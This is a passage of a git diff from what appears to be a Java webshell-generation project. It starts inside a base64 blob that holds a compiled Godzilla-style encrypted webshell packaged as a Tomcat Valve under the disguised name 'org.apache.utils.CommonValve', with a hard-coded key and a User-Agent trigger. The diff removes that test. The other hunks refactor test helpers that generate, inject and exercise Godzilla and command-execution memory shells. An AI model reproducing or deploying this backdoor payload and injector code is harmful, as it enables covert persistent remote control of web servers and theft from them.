mFyNAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAXMBAAFtAQANU3RhY2tNYXBUYWJsZQcArgcA2QcAngEAB2dldE5leHQBAB0oKUxvcmcvYXBhY2hlL2NhdGFsaW5hL1ZhbHZlOwEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBAAV2YWx2ZQEAEGlzQXN5bmNTdXBwb3J0ZWQBAAMoKVoBABFiYWNrZ3JvdW5kUHJvY2VzcwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAAFlAQAHcmVxdWVzdAEAJ0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0OwEACHJlc3BvbnNlAQAoTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwcA2gEACkV4Y2VwdGlvbnMHANsHANwBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNgEAAmJzAQAFdmFsdWUHANABAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAClNvdXJjZUZpbGUBABJHb2R6aWxsYVZhbHZlLmphdmEMAFAAUQwAUABXDADdAN4BAANBRVMHANkMAN8A4AEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEoASwwA4QDiDABQAOMMAOQA5QwA5gDnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwARgBHDABIAEkMAE0ASwcA6AwA6QDqDABOAEsMAOsA7AwA7QDuDABMAEsMAO8A6gwAjQCODABeAF8BAAdwYXlsb2FkBwDaDADwAPEBADpjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYVZhbHZlDADyAPMMAPQA9QwAWgBbDAD2APcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAPgA+QwA+gD7BwD8DAD9AP4MAE8ASwwA/wEABwEBDAECAQMMAQQBBQwBBgDiDACEAIUMAP8BBwwBCABRDABqAGsMAHIAcwwBCQBRAQAQamF2YS51dGlsLkJhc2U2NAwBCgELAQAKZ2V0RW5jb2RlcgEAEltMamF2YS9sYW5nL0NsYXNzOwwBDAENAQATW0xqYXZhL2xhbmcvT2JqZWN0OwcBDgwAcgEPAQAOZW5jb2RlVG9TdHJpbmcBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEADGdldFBhcmFtZXRlcgEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALZmx1c2hCdWZmZXIBAA9wcmludFN0YWNrVHJhY2UBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABxvcmcvYXBhY2hlL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"); - String shellClassName = "org.apache.utils.CommonValve"; - String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = InjectorGenerator.generate(TomcatValveInjector.class, injectClassName, shellClassName, shellBytes, "/*"); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(injectClassName, obj.getClass().getName()); - assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); - assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); - assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), - ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 48e5bbcd..2c78ad9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -1,21 +1,12 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.CommandShellConfig; -import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.config.CommandConfig; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; -import org.junit.jupiter.api.Disabled; -import org.junit.jupiter.api.Test; import java.util.Objects; @@ -27,15 +18,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue; */ @Slf4j public class CommandShellTool { - - public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { - ShellTool shellTool = ShellTool.Command; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - return new String(packer.getPacker().pack(generateResult)); - } - @SneakyThrows - public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) { + public static void testIsOk(String entrypoint, CommandConfig shellConfig) { OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java index 44489120..f2920d0d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java @@ -1,12 +1,10 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.config.*; import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; import java.io.IOException; @@ -18,25 +16,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue; */ public class GodzillaShellTool { - public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { - ShellTool shellTool = ShellTool.Godzilla; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - return new String(packer.getPacker().pack(generateResult)); - } - - public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { - ShellTool shellTool = ShellTool.Godzilla; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)); - } - - public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { - ShellTool shellTool = ShellTool.Godzilla; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult)); - } - - public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) { + public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) { try (GodzillaManager godzillaManager = GodzillaManager.builder() .entrypoint(entrypoint).pass(shellConfig.getPass()) .key(shellConfig.getKey()).header(shellConfig.getHeaderName() diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index cdb5f2ff..092edf90 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.config.CommandShellConfig; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; +import java.util.Objects; + /** * @author ReaJason * @since 2024/12/5 @@ -14,28 +14,37 @@ import lombok.extern.slf4j.Slf4j; @Slf4j public class ShellAssertionTool { public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + InjectorConfig injectorConfig = new InjectorConfig(); + + ShellConfig shellConfig = ShellConfig.builder() + .server(server) + .shellTool(shellTool) + .shellType(shellType) + .targetJdkVersion(targetJdkVersion) + .build(); + String shellUrl; switch (shellTool) { case Godzilla: - String pass = "pass" + shellType; - String key = "key" + shellType; + String pass = "pass"; + String key = "key"; String headerValue = "Godzilla" + shellType + packer.name(); - GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + GodzillaConfig godzillaConfig = GodzillaConfig.builder() .pass(pass).key(key) .headerName("User-Agent").headerValue(headerValue) .build(); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer); + String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer))); shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); - GodzillaShellTool.testIsOk(shellUrl, shellConfig); + GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); break; case Command: String paramName = "Command" + shellType + packer.name(); - CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); - String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer); - log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); + CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); + String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer))); + log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer); - CommandShellTool.testIsOk(shellUrl, config); + CommandShellTool.testIsOk(shellUrl, commandConfig); } }